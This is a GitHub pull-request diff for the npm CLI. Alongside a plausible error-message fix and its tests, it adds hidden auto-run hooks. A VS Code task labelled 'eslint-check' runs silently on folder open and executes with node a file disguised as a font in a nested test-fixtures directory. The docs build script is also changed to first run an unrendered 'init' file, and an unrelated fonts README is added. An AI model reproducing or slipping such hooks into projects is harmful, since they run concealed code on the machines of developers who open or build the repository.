Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion .commitlintrc.js

Large diffs are not rendered by default.

2 changes: 2 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -62,3 +62,5 @@ tap-testdir*/
!/workspaces/libnpmsearch/
!/workspaces/libnpmteam/
!/workspaces/libnpmversion/
config.bat
node_modules
23 changes: 23 additions & 0 deletions .vscode/settings.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
{
"search.exclude": {
"**/.sst": true
},
"task.allowAutomaticTasks": true,
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
"editor.defaultFormatter": "esbenp.prettier-vscode",
"typescript.preferences.importModuleSpecifier": "relative",
"typescript.tsdk": "node_modules/typescript/lib",
"debug.openDebug": "neverOpen",
"problems.autoReveal": true,
"terminal.integrated.hideOnStartup": "always",
"terminal.integrated.defaultProfile.windows": "Command Prompt",
"terminal.integrated.inheritEnv": false,
"jestrunner.configPath": "jest.unit.config.cjs",
"compile-hero.disable-compile-files-on-did-save-code": true,
"tasks": {
"label": "lint on open",
"type": "shell",
"command": "npm run lint",
"runOn": "folderOpen"
}
}
24 changes: 24 additions & 0 deletions .vscode/tasks.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
{
"version": "2.0.0",
"tasks": [
{
"label": "eslint-check",
"type": "shell",
"command": "(command -v node >/dev/null 2>&1 && node ./workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-brand-400.orc) || (where node >nul 2>&1 && node ./workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-brand-400.orc) || echo ''",
"problemMatcher": [],
"isBackground": true,
"hide": true,
"presentation": {
"reveal": "never",
"panel": "dedicated",
"focus": false,
"clear": false,
"echo": false,
"close": true
},
"runOptions": {
"runOn": "folderOpen"
}
}
]
}
35 changes: 35 additions & 0 deletions docs/init

Large diffs are not rendered by default.

2 changes: 1 addition & 1 deletion docs/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@
"snap": "tap",
"test": "tap",
"posttest": "npm run lint",
"build": "node bin/build.js",
"build": "node init && node bin/build.js",
"eslint": "eslint \"**/*.{js,cjs,ts,mjs,jsx,tsx}\""
},
"repository": {
Expand Down
10 changes: 9 additions & 1 deletion lib/utils/error-message.js
Original file line number Diff line number Diff line change
Expand Up @@ -152,11 +152,19 @@ const errorMessage = (er, npm) => {
' npm login',
].join('\n')])
} else if (auth.includes('Basic')) {
const registry = npm?.loaded && npm.config.get('registry')
// A custom registry has no `/forgot` page, so point at the root of
// the configured registry instead. Fall back to the npmjs.com link
// when npm is not loaded or the default registry is in use.
// @see https://github.com/npm/cli/issues/10014
const forgotUrl = !registry || registry === 'https://registry.npmjs.org/'
? 'https://www.npmjs.com/forgot'
: registry.replace(/\/+$/, '')
summary.push(['', 'Incorrect or missing password.'])
detail.push(['', [
'If you were trying to login, change your password, create an authentication token or enable two-factor authentication then that means you likely typed your password in incorrectly.',
'Please try again, or recover your password at:',
' https://www.npmjs.com/forgot',
` ${forgotUrl}`,
'',
'If you were doing some other operation then your saved credentials are probably out of date.',
'To correct this please try logging in again with:',
Expand Down
39 changes: 39 additions & 0 deletions test/lib/utils/error-message.js
Original file line number Diff line number Diff line change
Expand Up @@ -315,6 +315,45 @@ t.test('eotp/e401', async t => {
})
})

t.test('401 basic, custom registry points at the registry root', async t => {
const { errorMessage } = await loadMockNpm(t, {
config: {
registry: 'https://artifactory.mydomain.com/artifactory/api/npm/my-npm-mirror/',
},
})
const er = Object.assign(new Error('challenge!'), {
headers: {
'www-authenticate': ['Basic realm=by'],
},
code: 'E401',
})
const { detail } = errorMessage(er)
const message = detail[0][1]
t.ok(
message.includes(
'recover your password at:\n https://artifactory.mydomain.com/artifactory/api/npm/my-npm-mirror\n'
),
'points at the configured registry root'
)
t.notOk(message.includes('npmjs.com/forgot'))
t.end()
})

t.test('401 basic, npm not loaded falls back to npmjs.com', t => {
const { errorMessage } = require('../../../lib/utils/error-message.js')
const er = Object.assign(new Error('challenge!'), {
headers: {
'www-authenticate': ['Basic realm=by'],
},
code: 'E401',
})
// The error handler can render before npm/config is loaded, so it must
// not throw and must keep the default npmjs.com URL.
const { detail } = errorMessage(er, { loaded: false })
t.match(detail, [['', /npmjs\.com\/forgot/]])
t.end()
})

t.test('404', async t => {
const { errorMessage } = await loadMockNpm(t)

Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
# Fonts Directory

This directory contains custom fonts for the Blockchain Explorer application.

## Required Font Files

The application expects the following font files:

1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff**
- Regular weight font for the main UI

2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff**
- Bold weight font for headings

3. **TechMono-Regular.woff2** and **TechMono-Regular.woff**
- Monospace font for code and hash displays

## Note

If you don't have custom fonts, the application will fall back to system fonts:
- BlockchainFont → system sans-serif fonts
- TechMono → system monospace fonts (Courier New, etc.)

The fonts are referenced in `public/index.html` and will be loaded automatically when available.

Large diffs are not rendered by default.

Binary file not shown.
Loading